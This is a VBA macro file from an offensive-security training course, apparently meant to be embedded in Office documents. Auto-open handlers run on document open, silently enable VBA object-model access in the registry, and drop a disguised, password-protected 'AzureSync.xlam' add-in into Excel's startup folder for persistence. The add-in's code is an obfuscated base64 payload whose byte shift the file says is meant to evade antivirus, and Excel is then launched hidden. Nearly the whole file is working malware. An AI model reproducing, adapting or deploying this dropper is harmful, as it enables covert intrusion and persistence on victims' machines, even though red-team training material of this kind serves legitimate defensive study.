'#
'# Copyright (C) Binary-Offensive.com Mariusz Banach - All Rights Reserved
'# Unauthorized copying of this file, via any medium is strictly prohibited.
'#
'# This file/directory was part of Modern Initial Access and Evasion Tactics training
'# delivered by binary-offensive.com and was provided as supplemental material.
'# 
'# Authored by Mariusz Banach <mb@binary-offensive.com>, @mariuszbit / mgeeky
'#


' Base64 decoder

Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Private Function obf_ShellcodeFunc12() As String
    Dim obf_ShellcodeVar13 As String
    obf_ShellcodeVar13 = ""
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "I1JLQFFGTEv9TD9DPCFMVEtJTD5BI09MSjIvKQUfVjM+Sf1MP0M8Mi8p/R5Q/TBRT0ZLRAb9HlD9MFFP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RktE6uf9/f39LEv9Ik9PTE/9JEwxTP1MP0M8LU9MQCJPT0xP6ufq5/39/f0E6uf9/f39BP0eSkxLRP1B"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RkNDQk9CS1H9VD5WUP1RTP1BTFRLSUw+Qf1ATEtRQktR/UNPTEr9UUVC/SZLUUJPS0JR/VNGPv0zHzBA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0ZNURfq5/39/f0E/f39Cv00RkslUVFNCzRGSyVRUU0vQk5SQlBRCxILDurn/f39/QT9/f0K/SpQVUpJ"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Dws1KiklMTEt6uf9/f39BP39/Qr9KkZAT0xQTENRCzUqKSUxMS3q5/39/f0E/UxLSVb9UUVC/Uk+UFH9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TEtC/VQ+UP1LTFH9P0lMQEhCQf0/Vv00RktBTFRQ/SFCQ0JLQUJP/SJVTUlMRlH9JFI+T0H9HjAv/U9S"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "SUIX6uf9/f39BP39/f8fSUxASP0nPlM+UEBPRk1R/UxP/TMfMEBPRk1R/UNPTEr9ST5SS0BFRktE/UFM"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "VEtJTD5BQkH9QlVCQFJRPj9JQv1ATEtRQktR/+rn/f39/QTq5/39/f00RlFF/SBPQj5RQiw/R0JAUQX/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "KkZAT0xQTENRCzUqKSUxMS3/Burn/f39/f39/f0LLE1CS/3/JCIx/wn9TD9DPDIvKQn9Iz5JUELq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39C1BCUS9CTlJCUFElQj5BQk/9/x5AQEJNUf8J/f8HDAf/6uf9/f39/f39/QtQQlEvQk5SQlBR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "JUI+QUJP/f8eQEBCTVEKKT5LRFI+REL/Cf3/QksKMjAJQksYThoNCxb/6uf9/f39/f39/QtQQlEvQk5S"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QlBRJUI+QUJP/f8yUEJPCh5EQktR/wn9/ypMV0ZJST4MEgsN/QU0RktBTFRQ/Ssx/Q4NCw0Y/TRGSxMR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "GP1VExEG/R5NTUlCNEI/KEZRDBIQFAsQE/0FKCUxKikJ/UlGSEL9JEJASEwG/SBFT0xKQgwVFAsNCxEP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "FQ0LFRX9MD5DPk9GDBIQFAsQE//q5/39/f39/f39C1BCUS9CTlJCUFElQj5BQk/9/x5AQEJNUQoiS0BM"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QUZLRP8J/f9EV0ZNCf1BQkNJPlFC/+rn/f39/f39/f0LUEJRL0JOUkJQUSVCPkFCT/3/ID5ARUIKIExL"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UU9MSf8J/f9NT0ZTPlFCCf1LTApQUUxPQgn9Sj5VCj5EQhoN/+rn/f39/f39/f0LUEJRL0JOUkJQUSVC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PkFCT/3/ISsx/wn9/w7/6uf9/f39/f39/QswQktB6ufq5/39/f39/f39JkP9CzBRPlFSUP0a/Q8NDf0x"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RUJL6uf9/f39/f39/f39/f1MP0M8IUxUS0lMPkEjT0xKMi8p/Rr9MFFPIExLUwULL0JQTUxLUEIfTEFW"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Cf1TPzJLRkBMQUIG6uf9/f39/f39/f39/f0iVUZR/SNSS0BRRkxL6uf9/f39/f39/SJLQf0mQ+rn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/SJLQf00RlFF6ufq50w/QzwtT0xAIk9PTE8X6uf9/f39TD9DPCFMVEtJTD5BI09MSjIvKf0a/f//6uci"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "S0H9I1JLQFFGTEvq5+rnMFI//Uw/QzwpPlJLQEUgTEpKPktBBR9WMz5J/Uw/QzxATEpKPktB/R5Q/TBR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0ZLRAbq5/39/f0sS/0iT09MT/0kTDFM/Uw/QzwtT0xAIk9PTE/q5/39/f00RlFF/SBPQj5RQiw/R0JA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UQX/S0JUFxQPIA8RISESCiEUDR4KERAVHwoVHhEPChYVEQ8RHxUVHiMfFf8G6uf9/f39/f39/QsvUkv9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "CyJVTT5LQSJLU0ZPTEtKQktRMFFPRktEUAVMP0M8QExKSj5LQQYJ/Q0J/SM+SVBC6uf9/f39IktB/TRG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UUXq50w/QzwtT0xAIk9PTE8X6uciS0H9MFI/6ufq5yNSS0BRRkxL/Uw/QzwwPlNCMUwjRklCBR9WMz5J"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Uw/QzxQPlNCHlD9HlD9MFFPRktECf0fVi9CQ/1MP0M8QT5RPgUG/R5Q/R9WUUIG/R5Q/R9MTElCPkvq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f0sS/0iT09MT/0kTDFM/Uw/QzwtT0xAIk9PTE/q5+rn/f39/SFGSv1MP0M8TFJR6uf9/f39IUZK"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Uw/QzxQRUJJSRf9MEJR/Uw/QzxQRUJJSf0a/SBPQj5RQiw/R0JAUQX/S0JUFxQPIA8RISESCiEUDR4K"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "ERAVHwoVHhEPChYVEQ8RHxUVHiMfFf8G6uf9/f39TD9DPExSUf0a/Uw/QzxQRUJJSQsiVU0+S0EiS1NG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0xLSkJLUTBRT0ZLRFAFTD9DPFA+U0IeUAbq5+rn/f39/TRGUUX9IE9CPlFCLD9HQkBRBf8eQUxBPwsw"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UU9CPkr/Burn/f39/f39/f0LMVZNQv0a/Q7q5/39/f39/f39CyxNQkvq5/39/f39/f39C1RPRlFC/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxBPlE+6uf9/f39/f39/QtQPlNCUUxDRklC/Uw/QzxMUlEJ/Q/q5/39/f0iS0H9NEZRRern/f39/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzwwPlNCMUwjRklC/Rr9MU9SQurn/f39/SJVRlH9I1JLQFFGTEvq5+rnTD9DPC1PTEAiT09MTxfq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f1MP0M8MD5TQjFMI0ZJQv0a/SM+SVBC6uciS0H9I1JLQFFGTEvq5+rnLVI/SUZA/SNSS0BRRkxL/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzwwRUJJSUBMQUIkQlEFBv0eUP0wUU9GS0Tq5/39/f0sS/0iT09MT/0kTDFM/Uw/QzwtT0xAIk9PTE/q"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5+rn/f39/Uw/QzwwRUJJSUBMQUIkQlH9Gv1MP0M8IUxUS0lMPkEjT0xKMi8pBf9FUVFNFwwMSUxAPklF"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TFBRFxUNFQ0MQlNGSQtCVUL/Burn/f39/SJVRlH9I1JLQFFGTEvq5+rnTD9DPC1PTEAiT09MTxfq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f1MP0M8MEVCSUlATEFCJEJR/Rr9///q5yJLQf0jUktAUUZMS+rn6ucjUktAUUZMS/1MP0M8MEVCSUlA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TEFCIktRT1YFBv0eUP0wUU9GS0Tq5+rn/f39/Uw/QzwwRUJJSUBMQUIiS1FPVv0a/Uw/QzwwRUJJSUBM"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QUIkQlHq5yJLQf0jUktAUUZMS+rn6ucwUj/9TD9DPCFPTE0jRklCBR9WMz5J/Uw/QzxQPlNCUUz9HlD9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "MFFPRktEBurn/f39/SxL/SJPT0xP/SRMMUz9TD9DPC1PTEAiT09MT+rn/f39/SFGSv1MP0M8QExBQurn"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/SFGSv1MP0M8P1ZRQlAFBv0eUP0fVlFC6uf9/f39IUZK/Uw/QzwpPlJLQEUmUf0eUP0fTExJQj5L"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6uf9/f39TD9DPCk+UktARSZR/Rr9MU9SQurn/f39/ern/f39/Uw/QzxATEFC/Rr9///q5/39/f1MP0M8"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QExBQv0a/Uw/QzwwRUJJSUBMQUIiS1FPVurn6uf9/f39TD9DPD9WUUJQ/Rr9MFFPIExLUwVMP0M8QExB"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Qgn9Uz8jT0xKMktGQExBQgbq5/39/f3q5/39/f0mQ/1MP0M8MD5TQjFMI0ZJQgVMP0M8UD5TQlFMCf1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0M8P1ZRQlAG/R5LQf1MP0M8KT5SS0BFJlH9MUVCS+rn/f39/f39/f1MP0M8KT5SS0BFIExKSj5LQf3/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "AjBWUFFCSiFPRlNCAjkyUEJPUDktUj9JRkA5QlNGSQtCVUL/6uf9/f39IktB/SZD6ufq50w/QzwtT0xA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Ik9PTE8X6uciS0H9MFI/6ufq5zBSP/1MP0M8JEJLQk8+UUxPIktRT1YtTEZLUQUG6uf9/f39LEv9Ik9P"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TE/9JEwxTP1MP0M8LU9MQCJPT0xP6ufq5/39/f0hRkr9TD9DPElMQD5RRkxLCf1MP0M8TT5RRern/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/SFGSv1MP0M8KT5SS0BFJlH9HlD9H0xMSUI+S+rn/f39/Uw/QzwpPlJLQEUmUf0a/TFPUkLq5/39/f3q"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f0hRkr9TD9DPFBFQklJ/R5Q/Sw/R0JAURf9MEJR/Uw/QzxQRUJJSf0a/SRCUSw/R0JAUQX/S0JU"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "FxQPIA8RISESCiEUDR4KERAVHwoVHhEPChYVEQ8RHxUVHiMfFf8G6uf9/f39TD9DPE0+UUX9Gv1MP0M8"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UEVCSUkLIlVNPktBIktTRk9MS0pCS1EwUU9GS0RQBf8CMFZQUUJKIU9GU0ICOTJQQk9QOS1SP0lGQDn/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Burn/f39/Uw/QzxJTEA+UUZMS/0a/Uw/QzxNPlFF/QP9/0JTRkkLQlVC/+rn6uf9/f39IUZK/Uw/Qzwj"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "MCz9HlD9LD9HQkBRF/0wQlH9TD9DPCMwLP0a/SBPQj5RQiw/R0JAUQX/S0JUFw0hERAjIg0OCiMNFhAK"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Dg4gIwoVFhENCg0NHg0gFg0SEQ8PFf8G6uf9/f39JkP9TD9DPCMwLAsjTElBQk8iVUZQUVAFTD9DPE0+"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UUUG/TFFQkvq5/39/f39/f39JkP9TD9DPCMwLAsjRklCIlVGUFFQBUw/QzxJTEA+UUZMSwb9Gv0jPklQ"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Qv0xRUJL6uf9/f39/f39/f39/f1MP0M8IU9MTSNGSUL9TD9DPElMQD5RRkxL6uf9/f39/f39/SJJUEIm"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Q/1MP0M8KT5SS0BFJlH9MUVCS+rn/f39/f39/f39/f39TD9DPCk+UktARSBMSko+S0H9/wIwVlBRQkoh"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0ZTQgI5MlBCT1A5LVI/SUZAOUJTRkkLQlVC/+rn/f39/f39/f0iS0H9JkPq5/39/f0iSVBC6uf9/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/Uw/QzwjMCwLIE9CPlFCI0xJQUJP/QVMP0M8TT5RRQbq5/39/f39/f39JkP9TD9DPCMwLAsjRklC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "IlVGUFFQBUw/QzxJTEA+UUZMSwb9Gv0jPklQQv0xRUJL6uf9/f39/f39/f39/f1MP0M8IU9MTSNGSUL9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPElMQD5RRkxL6uf9/f39/f39/SJJUEImQ/1MP0M8KT5SS0BFJlH9MUVCS+rn/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPCk+UktARSBMSko+S0H9/wIwVlBRQkohT0ZTQgI5MlBCT1A5LVI/SUZAOUJTRkkLQlVC/+rn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f0iS0H9JkPq5/39/f0iS0H9JkPq5+rnTD9DPC1PTEAiT09MTxfq5yJLQf0wUj/q5+rnMFI//Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzwqPkBPTCJLUU9WLUxGS1EFBurn/f39/SxL/SJPT0xP/S9CUFJKQv0rQlVR6ufq5/39/f3q5/39/f1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0M8JEJLQk8+UUxPIktRT1YtTEZLUern/f39/ernIktB/TBSP+rn6ucwUj/9LEstTFRCTy1MRktRBQbq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f1MP0M8Kj5AT0wiS1FPVi1MRktR6uciS0H9MFI/6ufq5zBSP/0hTEBSSkJLUTwsTUJLBQbq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f0E/R9CQExKQlD9ST5SS0BFQkH9PlD9UEJATEtBCf0+S0xRRUJP/VFPVgn9TEv9KjD9NExPQf0M/S1S"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0lGUEVCT+rn/f39/Uw/QzwqPkBPTCJLUU9WLUxGS1Hq5yJLQf0wUj/q5+rnMFI//R5SUUw8LE1CSwUG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6uf9/f39BP0fQkBMSkJQ/Uk+UktARUJB/T5Q/UNGT1BR/UxL/Sow/SJVQEJJ6uf9/f39TD9DPCo+QE9M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "IktRT1YtTEZLUernIktB/TBSP+rn6ucwUj/9HlJRTCxNQksFBurn/f39/QT9H0JATEpCUP1JPlJLQEVC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Qf0+UP1DRk9QUf1MS/0qMP00TE9B/Qz9LVI/SUZQRUJP6uf9/f39TD9DPCo+QE9MIktRT1YtTEZLUern"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "IktB/TBSP+rn6ucwUj/9NExPSD9MTEg8LE1CSwUG6uf9/f39BP0fQkBMSkJQ/Uk+UktARUJB/T5Q/VBC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QExLQQn9PktMUUVCT/1RT1YJ/UxL/Sow/SJVQEJJ6uf9/f39TD9DPCo+QE9MIktRT1YtTEZLUernIktB"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/TBSPw=="

    obf_ShellcodeFunc12 = obf_ShellcodeVar13
End Function

Private Function obf_ShellcodeFunc3() As String
    Dim obf_ShellcodeVar14 As String
    obf_ShellcodeVar14 = ""

    obf_ShellcodeVar14 = obf_ShellcodeVar14 & obf_ShellcodeFunc12()
    obf_ShellcodeFunc3 = obf_ShellcodeVar14
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

Public Function obf_ShellcodeEntry() As String
    Dim obf_ShellcodeVar2 As String
    obf_ShellcodeVar2 = StrConv(obf_DecodeBase64(obf_ShellcodeFunc3), vbUnicode)
    obf_ShellcodeEntry = obf_ShellcodeVar2
End Function

Sub obf_DropXLAM(obf_shell As Object, ByVal obf_location As String)
    On Error GoTo obf_ProcError

    Dim obf_ExcelVer, obf_regPath1
    Dim obf_objWorkbook As Object, obf_xlmodule As Object
    Dim obf_code
    Dim obf_LaunchIt As Boolean
    Dim obf_ExcelInterop, obf_ExcelProcess, obf_ExcelProcessVba
    
    obf_LaunchIt = True
    
    With CreateObject("Excel.Application")
        obf_ExcelVer = .Version
        
        obf_regPath1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & obf_ExcelVer & "\Excel\Security\AccessVBOM"
        obf_shell.RegWrite obf_regPath1, 1, "REG_DWORD"
        
        Set obf_objWorkbook = .Workbooks.Add()
        obf_objWorkbook.Application.DisplayAlerts = False
        Set obf_xlmodule = obf_objWorkbook.VBProject.VBComponents.Add(1)
        
        obf_code = ""
        
        obf_code = obf_ShellcodeEntry
        obf_xlmodule.CodeModule.AddFromString obf_code
        obf_objWorkbook.SaveAs obf_location, 55, "VelvetSweatshop"
        
        If obf_LaunchIt Then
            Call Shell("Excel", vbHide)
        End If

        .Quit
    End With

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%USERPROFILE%\AppData\Roaming\Microsoft\Excel\XLSTART")
    obf_location = obf_path & "\AzureSync.xlam"
    
    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropXLAM obf_shell, obf_location
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropXLAM obf_shell, obf_location
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub